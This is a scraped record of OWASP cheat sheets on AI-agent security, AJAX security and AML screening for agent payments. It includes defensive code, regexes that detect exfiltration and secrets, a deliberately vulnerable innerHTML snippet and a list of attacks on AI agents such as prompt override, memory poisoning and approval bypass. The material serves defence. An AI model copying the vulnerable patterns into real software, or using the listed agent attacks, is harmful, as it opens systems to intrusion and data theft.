str) -> dict: risk_level = ACTION_RISK_MAPPING.get(tool_name, RiskLevel.HIGH) # Auto-approve low-risk actions if risk_level.value <= self.auto_approve_threshold.value: return {\"approved\": True, \"auto\": True} # Queue for human review action = PendingAction( action_id=str(uuid.uuid4()), tool_name=tool_name, parameters=self._sanitize_params_for_display(params), risk_level=risk_level, explanation=explanation ) self.pending_actions[action.action_id] = action return { \"approved\": False, \"pending\": True, \"action_id\": action.action_id, \"requires\": \"human_approval\", \"risk_level\": risk_level.value, \"preview\": self._generate_action_preview(action) } def _generate_action_preview(self, action: PendingAction) -> str: return f\"\"\" Action: {action.tool_name} Risk Level: {action.risk_level.value.upper()} Explanation: {action.explanation} Parameters: {json.dumps(action.parameters, indent=2)} \"\"\" \n```\n\n#### High-Impact Action Integrity Controls¶\n\nFor destructive, financial, administrative, or externally visible actions, add controls beyond a simple approval prompt:\n\n- Separate decision-making from execution. The agent can propose an action, but a policy service or execution component should independently validate scope, privilege, and approval state before execution.\n- Bind approval to the exact action. Include the actor, tool name, target resource, normalized parameters, timestamp, and expiry in the approval record.\n- Use short-lived authorization artifacts and replay protection for irreversible operations.\n- Require step-up authentication for critical actions such as account recovery, payment initiation, privilege changes, bulk deletion, or production deployment.\n- Make high-impact actions idempotent where possible and require explicit duplicate confirmation when idempotency is not possible.\n- Fail closed when risk classification, approval validation, policy lookup, or audit logging fails.\n\n### 5. Output Validation & Guardrails¶\n\n- Validate agent outputs before execution or display.\n- Implement output filtering for sensitive data leakage.\n- Use structured outputs with schema validation where possible.\n- Set boundaries on output actions (rate limits, scope limits).\n- Apply content safety filters to generated responses.\n\n#### Output Validation Pipeline¶\n\n```\nimport json import re from pydantic import BaseModel, validator from typing import Optional, List class AgentToolCall(BaseModel): tool_name: str parameters: dict reasoning: Optional[str] @validator('tool_name') def validate_tool_allowed(cls, v): allowed_tools = [\"search\", \"read_file\", \"calculator\", \"get_weather\"] if v not in allowed_tools: raise ValueError(f\"Tool '{v}' is not in allowed list\") return v @validator('parameters') def validate_no_sensitive_data(cls, v): sensitive_patterns = [ r'api[_-]?key', r'password', r'secret', r'token', r'credential', r'private[_-]?key' ] params_str = json.dumps(v).lower() for pattern in sensitive_patterns: if re.search(pattern, params_str): raise ValueError(\"Parameters contain potentially sensitive data\") return v class OutputGuardrails: def __init__(self): self.pii_patterns = self._load_pii_patterns() self.blocked_actions = set() self.rate_limiter = RateLimiter(max_calls=100, window_seconds=60) async def validate_output(self, agent_output: dict) -> dict: # Check rate limits if not self.rate_limiter.allow(): raise RateLimitExceeded(\"Agent action rate limit exceeded\") # Validate structure if \"tool_calls\" in agent_output: for call in agent_output[\"tool_calls\"]: validated = AgentToolCall(**call) # Filter PII from responses if \"response\" in agent_output: agent_output[\"response\"] = self._filter_pii(agent_output[\"response\"]) # Check for data exfiltration patterns if self._detect_exfiltration_attempt(agent_output): raise SecurityViolation(\"Potential data exfiltration detected\") return agent_output def _detect_exfiltration_attempt(self, output: dict) -> bool: \"\"\"Detect attempts to exfiltrate data through tool calls.\"\"\" suspicious_patterns = [ # Encoding sensitive data in URLs lambda o: \"http\" in str(o) and any( p in str(o).lower() for p in [\"base64\", \"encode\", \"password\"] ), # Large data in webhook/API calls lambda o: o.get(\"tool_name\") in [\"http_request\", \"webhook\"] and len(str(o.get(\"parameters\", \"\"))) > 10000, ] return any(pattern(output) for pattern in suspicious_patterns) \n```\n\n### 6. Monitoring & Observability¶\n\n- Log all agent decisions, tool calls, and outcomes.\n- Implement anomaly detection for unusual agent behavior.\n- Track token usage and costs per session/user.\n- Set up alerts for security-relevant events.\n- Maintain audit trails for compliance and forensics.\n- Log structured decision metadata for high-risk actions, including action classification, risk score when applicable, authorization outcome, approval identifier, execution result, and policy version.\n- Monitor for drift in approval behavior, repeated approval bypass attempts, elevated privilege usage, abnormal tool invocation frequency, and sudden increases in high-risk actions.\n\n#### Agent Monitoring¶\n\n```\nimport structlog from dataclasses import dataclass, field from typing import List, Dict, Any from datetime import datetime logger = structlog.get_logger() @dataclass class AgentSecurityEvent: event_type: str severity: str # INFO, WARNING, CRITICAL agent_id: str session_id: str user_id: str timestamp: datetime details: Dict[str, Any] tool_name: Optional[str] = None class AgentMonitor: ANOMALY_THRESHOLDS = { \"tool_calls_per_minute\": 30, \"failed_tool_calls\": 5, \"injection_attempts\": 1, \"sensitive_data_access\": 3, \"cost_per_session_usd\": 10.0, } def __init__(self, agent_id: str): self.agent_id = agent_id self.session_metrics = {} self.alert_handlers = [] async def log_tool_call(self, session_id: str, tool_name: str, params: dict, result: dict, user_id: str): # Redact sensitive data before logging safe_params = self._redact_sensitive(params) safe_result = self._redact_sensitive(result) event = AgentSecurityEvent( event_type=\"tool_call\", severity=\"INFO\", agent_id=self.agent_id, session_id=session_id, user_id=user_id, timestamp=datetime.utcnow(), tool_name=tool_name, details={ \"parameters\": safe_params, \"result_status\": result.get(\"status\"), \"execution_time_ms\": result.get(\"execution_time_ms\"), } ) await self._emit_event(event) await self._check_anomalies(session_id, event) async def log_security_event(self, session_id: str, event_type: str, severity: str, details: dict, user_id: str): event = AgentSecurityEvent( event_type=event_type, severity=severity, agent_id=self.agent_id, session_id=session_id, user_id=user_id, timestamp=datetime.utcnow(), details=details ) await self._emit_event(event) if severity == \"CRITICAL\": await self._trigger_alert(event) async def _check_anomalies(self, session_id: str, event: AgentSecurityEvent): metrics = self.session_metrics.setdefault(session_id, { \"tool_calls\": [], \"failed_calls\": 0, \"total_cost\": 0.0, }) metrics[\"tool_calls\"].append(datetime.utcnow()) # Check tool call rate recent_calls = [t for t in metrics[\"tool_calls\"] if (datetime.utcnow() - t).seconds < 60] if len(recent_calls) > self.ANOMALY_THRESHOLDS[\"tool_calls_per_minute\"]: await self.log_security_event( session_id, \"anomaly_detected\", \"WARNING\", {\"reason\": \"excessive_tool_calls\", \"count\": len(recent_calls)}, event.user_id ) def _redact_sensitive(self, data: dict) -> dict: \"\"\"Redact sensitive fields from log data.\"\"\" sensitive_keys = {\"password\", \"api_key\", \"token\", \"secret\", \"credential\"} def redact(obj): if isinstance(obj, dict): return { k: \"***REDACTED***\" if k.lower() in sensitive_keys else redact(v) for k, v in obj.items() } elif isinstance(obj, list): return [redact(i) for i in obj] return obj return redact(data) \n```\n\n### 7. Multi-Agent Security¶\n\n- Implement trust boundaries between agents.\n- Validate and sanitize inter-agent communications.\n- Prevent privilege escalation through agent chains.\n- Isolate agent execution environments.\n- Apply circuit breakers to prevent cascading failures.\n\n#### Secure Multi-Agent Communication¶\n\n```\nfrom typing import Optional import jwt from datetime import datetime, timedelta import uuid from pybreaker import CircuitBreaker # pip install pybreaker # Usage: CircuitBreaker(fail_max=5, reset_timeout=60) # Generate UUIDs inline with: str(uuid.uuid4()) class AgentTrustLevel(Enum): UNTRUSTED = 0 INTERNAL = 1 PRIVILEGED = 2 SYSTEM = 3 class SecureAgentBus: \"\"\"Secure communication layer for multi-agent systems.\"\"\" def __init__(self, signing_key: bytes): self.signing_key = signing_key self.agent_registry = {} self.message_validators = [] self.circuit_breakers = {} def register_agent(self, agent_id: str, trust_level: AgentTrustLevel, allowed_recipients: List[str]): self.agent_registry[agent_id] = { \"trust_level\": trust_level, \"allowed_recipients\": allowed_recipients, \"allowed_message_types\": self._get_allowed_types(trust_level) } self.circuit_breakers[agent_id] = CircuitBreaker( fail_max=5, reset_timeout=60 ) async def send_message(self, sender_id: str, recipient_id: str, message_type: str, payload: dict) -> dict: # Validate sender sender = self.agent_registry.get(sender_id) if not sender: raise SecurityViolation(f\"Unknown sender agent: {sender_id}\") # Check circuit breaker if self.circuit_breakers[sender_id].current_state == \"open\": raise RuntimeError(f\"Agent {sender_id} is temporarily blocked\") # Validate recipient authorization if recipient_id not in sender[\"allowed_recipients\"]: await self._log_security_event( \"unauthorized_message_attempt\", {\"sender\": sender_id, \"recipient\": recipient_id} ) raise SecurityViolation(\"Sender not authorized to message recipient\") # Validate message type if message_type not in sender[\"allowed_message_types\"]: raise SecurityViolation(f\"Message type '{message_type}' not allowed\") # Sanitize payload sanitized_payload = self._sanitize_payload(payload, sender[\"trust_level\"]) # Create signed message signed_message = { \"sender\": sender_id, \"recipient\": recipient_id, \"type\": message_type, \"payload\": sanitized_payload, \"timestamp\": datetime.utcnow().isoformat(), \"signature\": self._sign_message(sender_id, recipient_id, message_type, sanitized_payload) } return signed_message async def receive_message(self, recipient_id: str, message: dict) -> dict: # Verify signature if not self._verify_signature(message): raise SecurityViolation(\"Invalid message signature\") # Check message freshness (prevent replay attacks) msg_time = datetime.fromisoformat(message[\"timestamp\"]) if (datetime.utcnow() - msg_time) > timedelta(minutes=5): raise SecurityViolation(\"Message expired (possible replay attack)\") # Validate recipient if message[\"recipient\"] != recipient_id: raise SecurityViolation(\"Message recipient mismatch\") return message[\"payload\"] def _sanitize_payload(self, payload: dict, trust_level: AgentTrustLevel) -> dict: \"\"\"Remove sensitive data based on trust level.\"\"\" if trust_level < AgentTrustLevel.PRIVILEGED: # Remove system-level fields for lower trust agents payload = {k: v for k, v in payload.items() if not k.startswith(\"_system\")} # Always sanitize potential injection content return sanitize_untrusted_content(payload) \n```\n\n### 8. Data Protection & Privacy¶\n\n- Minimize sensitive data in agent context.\n- Implement data classification and handling rules.\n- Apply encryption for data at rest and in transit.\n- Enforce data retention and deletion policies.\n- Comply with privacy regulations (GDPR, CCPA).\n\n#### Data Classification and Handling¶\n\n```\nfrom enum import Enum from typing import Callable class DataClassification(Enum): PUBLIC = \"public\" INTERNAL = \"internal\" CONFIDENTIAL = \"confidential\" RESTRICTED = \"restricted\" # PII, financial, health class DataProtectionPolicy: def __init__(self): self.classification_rules = [] self.handling_rules = {} def classify_data(self, data: str, context: dict) -> DataClassification: \"\"\"Automatically classify data based on content patterns.\"\"\" patterns = { DataClassification.RESTRICTED: [ r'\\b\\d{3}-\\d{2}-\\d{4}\\b', # SSN r'\\b\\d{16}\\b', # Credit card r'\\b[A-Z]{2}\\d{6,9}\\b', # Passport r'diagnosis|prescription|patient', # Health ], DataClassification.CONFIDENTIAL: [ r'salary|compensation|bonus', r'api[_-]?key|password|secret', r'confidential|internal only', ], DataClassification.INTERNAL: [ r'@company\\.com', r'internal|draft|not for distribution', ] } for classification, pattern_list in patterns.items(): if any(re.search(p, data, re.I) for p in pattern_list): return classification return DataClassification.PUBLIC def apply_protection(self, data: str, classification: DataClassification, operation: str) -> str: \"\"\"Apply appropriate protection based on classification.\"\"\" handlers = { DataClassification.RESTRICTED: { \"include_in_context\": self._redact_fully, \"log\": self._redact_fully, \"output\": self._redact_fully, }, DataClassification.CONFIDENTIAL: { \"include_in_context\": self._mask_partially, \"log\": self._redact_fully, \"output\": self._mask_partially, }, DataClassification.INTERNAL: { \"include_in_context\": lambda x: x, \"log\": self._mask_partially, \"output\": lambda x: x, }, } handler = handlers.get(classification, {}).get(operation, lambda x: x) return handler(data) def _redact_fully(self, data: str) -> str: return \"[REDACTED]\" def _mask_partially(self, data: str) -> str: if len(data) <= 4: return \"****\" return data[:2] + \"*\" * (len(data) - 4) + data[-2:] # Usage in agent context building class SecureContextBuilder: def __init__(self, policy: DataProtectionPolicy): self.policy = policy def build_context(self, documents: List[str], max_tokens: int = 4000) -> str: protected_docs = [] for doc in documents: classification = self.policy.classify_data(doc, {}) protected = self.policy.apply_protection( doc, classification, \"include_in_context\" ) protected_docs.append(protected) # Combine and truncate context = \"\\n---\\n\".join(protected_docs) return context[:max_tokens * 4] # Rough char estimate \n```\n\n### 9. Secure Agent Testing & Adversarial Validation¶\n\nAI agents should undergo structured security testing before production deployment and after material changes to prompts, tools, memory, retrieval, policies, or model providers. Testing should exercise both application controls and agent-specific failure modes.\n\n#### Abuse-Case Test Matrix¶\n\nMaintain repeatable test cases for:\n\n| Abuse case | What to validate |\n| --- | --- |\n| Prompt override | System and developer instructions are not silently replaced by user or retrieved content |\n| Tool misuse | Unauthorized tools are denied even when the model requests them confidently |\n| Privilege escalation | Low-trust sessions cannot reach privileged tools, credentials, or admin actions |\n| Memory poisoning | Malicious content is sanitized, scoped, expired, or rejected before persistence |\n| Data exfiltration | Sensitive context is not leaked through tool calls, citations, logs, or final output |\n| Recursive tool abuse | Chain depth, retry, token, and cost limits stop runaway loops |\n| Approval bypass | High-impact actions cannot execute without a valid, unexpired, parameter-bound approval |\n| Multi-agent chaining | One compromised agent cannot cause another agent to exceed its trust boundary |\n\n#### CI/CD and Release Gates¶\n\n- Run adversarial test suites in CI/CD for agent templates, tool policies, and prompt changes.\n- Include regression tests for previously observed injection, memory poisoning, and tool-abuse failures.\n- Block releases when high-risk tool policies, approval logic, or credential scopes change without updated tests.\n- Keep red-team prompts and expected denials version controlled, but do not store secrets or live customer data in test fixtures.\n- Review test changes carefully; attackers may try to weaken or remove security tests in the same pull request that changes agent behavior.\n\n#### Validation Evidence¶\n\nFor production agents, retain evidence that shows:\n\n- The tested agent version, model provider, tool policy, and retrieval configuration.\n- The abuse cases executed and their expected results.\n- The approval, denial, timeout, or circuit-breaker behavior observed.\n- Any accepted residual risk and the compensating control.\n\n## Do's and Don'ts¶\n\n**Do:**\n\n- Apply least privilege to all agent tools and permissions.\n- Validate and sanitize all external inputs (user messages, documents, API responses).\n- Implement human-in-the-loop for high-risk actions.\n- Isolate memory and context between users/sessions.\n- Monitor agent behavior and set up anomaly detection.\n- Use structured outputs with schema validation.\n- Sign and verify inter-agent communications.\n- Classify data and apply appropriate protections.\n- Separate decision-making from execution for irreversible operations.\n- Perform structured adversarial testing before production deployment.\n- Enforce token, cost, retry, and tool-chain limits.\n- Log structured decision metadata for high-risk actions.\n\n**Don't:**\n\n- Give agents unrestricted tool access or wildcard permissions.\n- Trust content from external sources (websites, emails, documents).\n- Allow agents to execute arbitrary code without sandboxing.\n- Store sensitive data in agent memory without encryption/redaction.\n- Let agents make high-impact decisions without human oversight.\n- Ignore cost controls (unbounded loops can cause DoW).\n- Pass unsanitized data between agents in multi-agent systems.\n- Log sensitive data (PII, credentials) in plain text.\n- Rely solely on model output for authorization decisions.\n- Skip adversarial testing after prompt, tool, memory, retrieval, or provider changes.\n- Permit unlimited recursion, retries, or tool chaining.\n\n## References¶\n\n- [OWASP LLM Top 10](https://owasp.org/www-project-top-10-for-large-language-model-applications/)\n- [OWASP LLM Prompt Injection Prevention Cheat Sheet](LLM_Prompt_Injection_Prevention_Cheat_Sheet.html)\n- [NIST AI Risk Management Framework](https://www.nist.gov/itl/ai-risk-management-framework)\n- [OpenAI Safety Best Practices](https://platform.openai.com/docs/guides/safety-best-practices)\n- [Google Secure AI Framework (SAIF)](https://safety.google/safety/saif/)", "znaku_textu": 25410, "slov": 2858, "odkazu": 163, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:31", "sha256": "7a564d0c3dfdf5fdb6947d429cd4b7451330fea51f12d974f77c39c5712e0319", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-top-10-for-large-language-model-applications/", "https://www.nist.gov/itl/ai-risk-management-framework", "https://platform.openai.com/docs/guides/safety-best-practices", "https://safety.google/safety/saif/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html", "titulek": "AJAX Security - OWASP Cheat Sheet Series", "h1": "AJAX Security Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "AJAX Security Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 3, "text": "Client-Side (JavaScript)¶"}, {"uroven": 4, "text": "Use innerHTML with extreme caution¶"}, {"uroven": 5, "text": "What is innerHTML?¶"}, {"uroven": 5, "text": "Why does innerHTML require extreme caution?¶"}, {"uroven": 6, "text": "Vulnerable Example¶"}, {"uroven": 5, "text": "When is innerHTML acceptable?¶"}, {"uroven": 5, "text": "Alternatives¶"}, {"uroven": 4, "text": "Use of textContent or innerText for DOM updates (for text-only content)¶"}, {"uroven": 5, "text": "What is textContent?¶"}, {"uroven": 5, "text": "What is innerText?¶"}, {"uroven": 5, "text": "When to Use textContent vs. innerText¶"}, {"uroven": 5, "text": "Note¶"}, {"uroven": 4, "text": "Don't use eval(), new Function() or other code evaluation tools¶"}, {"uroven": 4, "text": "Encode Data Before Use in an Output Context¶"}, {"uroven": 4, "text": "Don't rely on client logic for security¶"}, {"uroven": 4, "text": "Don't rely on client business logic¶"}, {"uroven": 4, "text": "Avoid writing serialization code¶"}, {"uroven": 4, "text": "Avoid building XML or JSON dynamically¶"}, {"uroven": 4, "text": "Never transmit secrets to the client¶"}, {"uroven": 4, "text": "Don't perform encryption in client-side code¶"}, {"uroven": 4, "text": "Don't perform security impacting logic on client-side¶"}, {"uroven": 3, "text": "Server-Side¶"}, {"uroven": 4, "text": "Use CSRF Protection¶"}, {"uroven": 4, "text": "Protect against JSON hijacking for older browsers¶"}, {"uroven": 5, "text": "Review AngularJS JSON hijacking defense mechanism¶"}, {"uroven": 5, "text": "Always return JSON with an object on the outside¶"}, {"uroven": 4, "text": "Avoid writing serialization code server-side¶"}, {"uroven": 4, "text": "Services can be called directly by users¶"}, {"uroven": 4, "text": "Avoid building XML or JSON by hand, use the framework¶"}, {"uroven": 4, "text": "Use JSON and XML schema for web services¶"}], "markdown": "# AJAX Security Cheat Sheet¶\n\n## Introduction¶\n\nThis document will provide a starting point for AJAX security and will hopefully be updated and expanded reasonably often to provide more detailed information about specific frameworks and technologies.\n\n**Before applying any specific control, developers must adopt a fundamental security mindset:**\nAll data should be considered untrusted unless explicitly validated and safely handled.\nThis applies to:\n\n- Client-side input\n- API response\n- Third-party integrations\n- Internal services and microservices\n- Cached responses\n- Browser storage (localStorage, sessionStorage)\n- Hidden form fields\n\n### Client-Side (JavaScript)¶\n\n#### Use `innerHTML` with extreme caution¶\n\nManipulating the Document Object Model (DOM) is common in web applications, especially in monolithic server-side rendering (e.g., PHP, ASP.NET) and AJAX-driven applications. While `innerHTML` seems like a convenient way to inject HTML content, it poses significant security risks on untrusted-data, particularly cross-site scripting (XSS).\n\n##### What is `innerHTML`?¶\n\nThe `innerHTML` property sets or gets the HTML content of an element, including tags, which the browser parses and renders as part of the DOM. For example, setting `innerHTML = \"

Hello

\"` creates a paragraph element.\n\n##### Why does `innerHTML` require extreme caution?¶\n\nUsing `innerHTML` with untrusted data (e.g., from API responses in AJAX) can allow malicious JavaScript to execute in the user’s browser, leading to XSS vulnerabilities. Potential risks include:\n\n- Stealing user session cookies.\n- Defacing the website.\n- Redirecting users to malicious sites.\n- Performing unauthorized actions (e.g., API calls on behalf of the user).\n- Keylogging user inputs.\n\n###### Vulnerable Example¶\n\n```\n document.getElementById('content').innerHTML = data; // DANGER! The server may have returned a payload that executes scripts, for example: . \n```\n\n##### When is `innerHTML` acceptable?¶\n\nThe fundamental security rule is to never use innerHTML with untrusted data. However, in limited cases, such as legacy monolithic applications with no viable alternatives, innerHTML may be used cautiously:\n\n- **Static, Hardcoded HTML** : For small, fixed HTML snippets that are part of your application’s source code and contain no user input:\n\n```\ndocument.getElementById('footer').innerHTML = '

© 2025 My Company. All rights reserved.

'; \n```\n\n- **Sanitized HTML** : For user-generated HTML (e.g., in rich text editors), sanitize with a library like [DOMPurify](DOM_Clobbering_Prevention_Cheat_Sheet.html#1-html-sanitization) before using innerHTML:\n\n```\nimport DOMPurify from 'dompurify'; const userInput = ''; document.getElementById('content').innerHTML = DOMPurify.sanitize(userInput); // Safe, removes malicious code \n```\n\n##### Alternatives¶\n\n- Use Templating Engines (with auto-escaping) for reusable, structured HTML snippets.\n- Use Modern Frameworks (React, Vue, Angular, Svelte) for complex applications. They standardize DOM manipulation, provide reactivity, and inherently handle sanitization for dynamic data. However, developers must avoid unsafe APIs (e.g., `dangerouslySetInnerHTML` in React, `[innerHTML]` in Angular) to prevent XSS vulnerabilities.\n\n#### Use of `textContent` or `innerText` for DOM updates (for text-only content)¶\n\nIn AJAX and monolithic server-side rendering applications (e.g., PHP, ASP.NET), dynamic Document Object Model (DOM) updates are common for rendering text-only content from APIs or user inputs.\n\n##### What is `textContent`?¶\n\nThe `textContent` property sets or gets the plain text content of an element. It treats inserted HTML tags as literal text and does not parse them. It is ideal for most text-only updates, such as displaying user comments, etc.\n\n```\nconst userInput = ''; document.getElementById('content').textContent = userInput; // Displays plain text \n```\n\n##### What is `innerText`?¶\n\nThe `innerText` property sets or gets the visible text content of an element, respecting CSS styling (e.g., ignoring text in `display: none` elements). It also reflects rendered text formatting, such as line breaks or spacing.\n\n```\nconst userInput = 'OWASP'; document.getElementById('content').innerText = userInput; \n```\n\n##### When to Use `textContent` vs. `innerText`¶\n\n- **Use `textContent`** : Use textContent in monolithic applications to safely insert plain text content returned from APIs.\n- **Use `innerText`** : Only when CSS visibility or rendered text formatting (e.g. ignoring text in `display: none` elements) is required.\n\n> Note: `textContent` is slightly faster and more predictable; use it unless you need to respect rendered text formatting (`innerText`).\n\n##### Note¶\n\n- While `textContent` and `innerText` are safe for inserting plain text into the DOM, they do not protect against XSS in other contexts such as HTML attributes, JavaScript event handlers, or URLs. Always validate and sanitize untrusted input.\n- Modern Frameworks like React, Vue, Angular, or Svelte automatically update text-only content so there is no need to manually use `textContent` or `innerText` .\n\n#### Don't use `eval()`, `new Function()` or other code evaluation tools¶\n\n`eval()` function is dangerous, never use it. Needing to use eval() usually indicates a problem in your design.\n\n> Note: Using `eval()` or `new Function()` opens doors to remote code execution and XSS. Avoid it entirely.\n\n#### Encode Data Before Use in an Output Context¶\n\nWhen using data to build HTML, script, CSS, XML, JSON, etc., make sure you take into account how that data must be presented in a literal sense to keep its logical meaning.\n\nData should be properly encoded before being used in this manner to prevent injection style issues, and to make sure the logical meaning is preserved.\n\n[Check out the OWASP Java Encoder Project.](https://owasp.org/www-project-java-encoder/)\n\n#### Don't rely on client logic for security¶\n\nDon't forget that the user controls the client-side logic. A number of browser plugins are available to set breakpoints, skip code, change values, etc. Never rely on client logic for security.\n\n#### Don't rely on client business logic¶\n\nAs with security logic, make sure any important business rules are duplicated on the server side so a user cannot bypass them, which could lead to unexpected or costly behavior.\n\n#### Avoid writing serialization code¶\n\nThis is hard and even a small mistake can cause large security issues. There are already a lot of frameworks to provide this functionality.\n\nRefer to the [JSON page](https://www.json.org/) for more info.\n\n#### Avoid building XML or JSON dynamically¶\n\nJust like building HTML or SQL you may cause XML injection bugs, so stay away from this or at least use an encoding library or safe JSON or XML library to make attributes and element data safe.\n\n- [XSS (Cross Site Scripting) Prevention](Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [SQL Injection Prevention](SQL_Injection_Prevention_Cheat_Sheet.html)\n\n#### Never transmit secrets to the client¶\n\nAnything sent to the client can be read or modified by the user, so keep all that secret stuff on the server please.\n\n#### Don't perform encryption in client-side code¶\n\nUse TLS/SSL and encrypt on the server!\n\n#### Don't perform security impacting logic on client-side¶\n\nThis principle serves as a fail-safe—if a security decision is ambiguous, perform it on the server.\n\n### Server-Side¶\n\n#### Use CSRF Protection¶\n\nTake a look at the [Cross-Site Request Forgery (CSRF) Prevention](Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) cheat sheet.\n\n#### Protect against JSON hijacking for older browsers¶\n\n##### Review AngularJS JSON hijacking defense mechanism¶\n\nSee the [JSON Vulnerability Protection](https://docs.angularjs.org/api/ng/service/$http#json-vulnerability-protection) section of the AngularJS documentation.\n\n##### Always return JSON with an object on the outside¶\n\nAlways have the outside primitive be an object for JSON strings:\n\n**Exploitable:**\n\n```\n[{\"object\": \"inside an array\"}] \n```\n\n**Not exploitable:**\n\n```\n{\"object\": \"not inside an array\"} \n```\n\n**Also not exploitable:**\n\n```\n{\"result\": [{\"object\": \"inside an array\"}]} \n```\n\n#### Avoid writing serialization code server-side¶\n\nRemember reference vs. value types; use a reviewed library.\n\n#### Services can be called directly by users¶\n\nEven though you only expect your AJAX client-side code to call those services, a malicious user can also call them directly.\n\nValidate inputs and treat them as if they are under user control.\n\n#### Avoid building XML or JSON by hand, use the framework¶\n\nUse the framework to serialize data; building payloads by hand can introduce security issues.\n\n#### Use JSON and XML schema for web services¶\n\nUse a third-party library to validate web service inputs.", "znaku_textu": 8573, "slov": 1230, "odkazu": 166, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:32", "sha256": "dc737ffa8a0093b70880e3f63957a8004f814d9152c0e2ec702898f8903af875", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-java-encoder/", "https://www.json.org/", "https://docs.angularjs.org/api/ng/service/$http", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/AML_Sanctions_AI_Agent_Payments_Cheat_Sheet.html", "titulek": "AML Sanctions AI Agent Payments - OWASP Cheat Sheet Series", "h1": "AML and Sanctions Compliance for AI Agent Payments Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/AML_Sanctions_AI_Agent_Payments_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "AML and Sanctions Compliance for AI Agent Payments Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Regulatory Context¶"}, {"uroven": 3, "text": "Key Principle¶"}, {"uroven": 2, "text": "Section 1: Agent Identity Before Screening¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 2: Entity Screening¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 3: Agent Operator Screening¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 4: Signed Audit Trail¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 5: Fail-Closed Enforcement¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 6: Trust-Tiered Rate Limiting¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 7: Self-Hosted vs Hosted Screening Architecture¶"}, {"uroven": 3, "text": "Self-Hosted Screening¶"}, {"uroven": 3, "text": "Hosted Screening (Third-Party API)¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 8: Receipt Canonicalization (RFC 8785 / JCS)¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 9: Cross-Agent Payment Accountability¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 10: Binding Sanctions-List Freshness to the Receipt¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 11: Regulatory Mapping¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "Section 12: Do's and Don'ts Summary¶"}, {"uroven": 3, "text": "Do¶"}, {"uroven": 3, "text": "Don't¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# AML and Sanctions Compliance for AI Agent Payments Cheat Sheet¶\n\n## Introduction¶\n\nAI agents are initiating regulated financial transactions in production. Mastercard Agent Pay, Visa Intelligent Commerce, and Google A2A payments are live. Every agent-initiated payment carries the same Bank Secrecy Act (BSA), Anti-Money Laundering (AML), and sanctions screening obligations as human-initiated payments.\n\nThis cheat sheet provides practical controls for fintechs, banks, and payment processors when autonomous AI agents -- rather than human users in browser sessions -- initiate or facilitate regulated payments. It covers agent identity verification, entity screening, audit trail requirements, and fail-closed enforcement.\n\nThe controls described here are complementary to the [OWASP MCP Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/MCP_Security_Cheat_Sheet.html) and build on the cryptographic identity and signing controls defined in Section 7 of that document.\n\n## Regulatory Context¶\n\nAgent-initiated payments are subject to the same regulatory framework as human-initiated payments. Key regulations include:\n\n- **Bank Secrecy Act (BSA)** : Requires financial institutions to maintain effective AML programs, including customer identification, transaction monitoring, and suspicious activity reporting. The [Bank Secrecy Act](https://www.fincen.gov/index.php/resources/statutes-and-regulations/bank-secrecy-act) does not distinguish between human-initiated and agent-initiated transactions.\n- **OFAC Sanctions** : The Office of Foreign Assets Control requires all US persons and entities to screen transactions against the Specially Designated Nationals (SDN) list and other sanctions lists. Screening obligations apply regardless of whether the transaction was initiated by a human or an agent.\n- **FinCEN Requirements** : [FinCEN](https://www.fincen.gov/) rules require Customer Identification Programs (CIP), Customer Due Diligence (CDD), and Suspicious Activity Reports (SARs). When an agent acts on behalf of a customer, the institution must be able to identify both the customer and the agent.\n- **UK Financial Sanctions (OFSI)** : HM Treasury's Office of Financial Sanctions 